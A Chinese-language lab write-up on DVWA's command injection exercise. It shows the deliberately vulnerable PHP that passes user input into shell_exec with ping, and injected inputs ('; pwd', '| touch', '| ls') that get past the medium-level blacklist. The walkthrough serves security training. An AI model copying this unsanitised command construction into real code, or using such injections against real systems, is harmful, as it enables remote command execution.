DVWA系列,持續更新中
環境CENTOS 6.5 ,level:easy mode
源碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到是直接把輸入的字段和 ping 做了拼接,linux下如果不加-c 的話會一直ping下去而不會像win下四次後自己結束。
所以還是比較容易處理的,使用;號做一個拼接即可。例子如下:
127.0.0.1 ; pwd
輸入後效果如下圖
切換module 爲midlle
源碼如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到把win下的&&和linux下的; 都屏蔽了,所以就得換個辦法。
代碼如下:
127.0.0.1 | touch zkkiskeng
創建一個zkkiskeng的文件執行完成後,頁面無返回 再次執行另一條命令
127.0.0.1 | ls
結果如下
可以看到zkkiskeng文件創建成功。